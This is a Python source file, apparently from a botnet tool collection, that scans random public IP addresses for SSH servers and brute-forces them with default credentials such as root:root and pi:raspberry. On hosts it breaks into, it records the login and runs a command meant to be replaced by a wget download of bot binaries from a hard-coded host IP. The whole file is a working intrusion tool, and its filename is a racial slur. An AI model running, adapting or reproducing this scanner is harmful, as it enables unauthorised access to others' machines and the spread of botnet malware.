Path: blob/master/Botnets/Scanning/AUTOSCANNER/Nigger.py
5038 views
#!/usr/bin/env python1# -*- coding: utf-8 -*-23# ulimit -n 999999; ulimit -u 999994# sysctl -w fs.file-max=1000005# python nigger.py 376 LUCKY x 0 (LUCKY RANGES)6# python nigger.py 376 B 113.53 1 (SCANNER EXAMPLE)7# python nigger.py 376 RAND x all (IP RANDOMIZATION)8# 113.53, 125.26, 125.27, 125,910import threading, paramiko, random, socket, time, sys1112paramiko.util.log_to_file("/dev/null") # silents spam of paramiko1314files = [ # Binary names15"mipsel",16"mips",17"sh4",18"x86_64",19"armv6l",20"i586",21"m86k",22"sparc",23]2425website = "23.89.158.69" # Binary Host IP2627reservedips = [28'http://127.',29'http://0',30'http://10.',31'http://100.64',32'http://100.65',33'http://100.66',34'http://100.67',35'http://100.68',36'http://100.69',37'http://100.70',38'http://100.71',39'http://100.72',40'http://100.73',41'http://100.74',42'http://100.75',43'http://100.76',44'http://100.77',45'http://100.78',46'http://100.79',47'http://100.80',48'http://100.81',49'http://100.82',50'http://100.83',51'http://100.84',52'http://100.85',53'http://100.86',54'http://100.87',55'http://100.88',56'http://100.89',57'http://100.90',58'http://100.91',59'http://100.92',60'http://100.93',61'http://100.94',62'http://100.95',63'http://100.96',64'http://100.97',65'http://100.98',66'http://100.99',67'http://100.100',68'http://100.101',69'http://100.102',70'http://100.103',71'http://100.104',72'http://100.105',73'http://100.106',74'http://100.107',75'http://100.108',76'http://100.109',77'http://100.110',78'http://100.111',79'http://100.112',80'http://100.113',81'http://100.114',82'http://100.115',83'http://100.116',84'http://100.117',85'http://100.118',86'http://100.119',87'http://100.120',88'http://100.121',89'http://100.122',90'http://100.123',91'http://100.124',92'http://100.125',93'http://100.126',94'http://100.127',95'http://169.254',96'http://172.16.',97'http://172.17.',98'http://172.18.',99'http://172.19.',100'http://172.20.',101'http://172.21.',102'http://172.22.',103'http://172.23.',104'http://172.24.',105'http://172.25.',106'http://172.26.',107'http://172.27.',108'http://172.28.',109'http://172.29.',110'http://172.30.',111'http://172.32.',112'http://192.0.0.0',113'http://192.0.0.1',114'http://192.0.0.2',115'http://192.0.0.3',116'http://192.0.0.4',117'http://192.0.0.5',118'http://192.0.0.6',119'http://192.0.0.7',120'http://192.0.2.',121'http://192.88.99.',122'http://192.168.',123'http://198.18.',124'http://198.19.',125'http://198.51.100.',126'http://203.0.113.',127'http://224.',128'http://225'129]130131132passwords = [ # perls/la133"root:root",134"root:admin",135"admin:admin",136"ubnt:ubnt"137"root:1234",138"admin:1234",139"guest:guest",140"user:user",141"test:test",142"pi:raspberry",143"vagrant:vagrant"144]145146147print sys.argv[0]+' <Threads(MAX: 376)> <A/B/C/ (IP Class)> <Range> <1(slow but effective)/2(fast but less effective)/perl(scans for perlbots/all(scans for everything!>'148149if sys.argv[4] == '1':150passwords = [ "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] #Slow but effective151if sys.argv[4] == '2':152passwords = [ "root:root", "admin:admin" ] #Fast but yet less effective153if sys.argv[4] == 'perl':154passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ] #perl scanner155if sys.argv[4] == 'all':156passwords = [ "pi:raspberry", "vagrant:vagrant", "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] # scans all passwords but very slow157158ipclassinfo = sys.argv[2]159if ipclassinfo == "A":160ip1 = sys.argv[3]161elif ipclassinfo == "B":162ip1 = sys.argv[3].split(".")[0]163ip2 = sys.argv[3].split(".")[1]164elif ipclassinfo == "C":165ips = sys.argv[3].split(".")166num=0167for ip in ips:168num=num+1169if num == 1:170ip1 = ip171elif num == 2:172ip2 = ip173elif num == 3:174ip3 = ip175class sshscanner(threading.Thread):176global passwords177global ipclassinfo178if ipclassinfo == "A":179global ip1180elif ipclassinfo == "B":181global ip1182global ip2183elif ipclassinfo == "C":184global ip1185global ip2186global ip3187def run(self):188while 1:189try:190while 1:191thisipisbad='no'192if ipclassinfo == "A":193self.host = 'http://'+ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))194elif ipclassinfo == "B":195self.host = 'http://'+ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))196elif ipclassinfo == "C":197self.host = 'http://'+ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))198elif ipclassinfo == "LUCKY":199lucky = ["201.13","197.23","187.89","37.236","191.53","161.18","191.53","186.208","1.0","177.137","177.38","101.108","125.27","177.44","179.189","179.97","125.17"]200self.host = 'http://'+random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))201else:202self.host = 'http://'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))203for badip in reservedips:204if badip in self.host:205thisipisbad='yes'206if thisipisbad=='no':207break208self.host=self.host.replace('http://', '')209username='root'210password="0"211port = 22212s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)213s.settimeout(3)214s.connect((self.host, port))215s.close()216ssh = paramiko.SSHClient()217ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())218dobreak=False219for passwd in passwords:220if ":n/a" in passwd:221password=""222else:223password=passwd.split(":")[1]224if "n/a:" in passwd:225username=""226else:227username=passwd.split(":")[0]228try:229ssh.connect(self.host, port = port, username=username, password=password, timeout=3)230dobreak=True231break232except:233pass234if True == dobreak:235break236badserver=True237stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")238output = stdout.read()239if "inet addr" in output:240badserver=False241websites = [ ]242if badserver == False:243print 'Adding:'+username+'<'+password+'>'+self.host+'|'+str(port)244ssh.exec_command("put ur wget here ignore the shit up top.") #la245246time.sleep(15)247ssh.close()248except:249pass250251for x in range(0,int(sys.argv[1])):252try:253t = sshscanner()254t.start()255except:256pass257258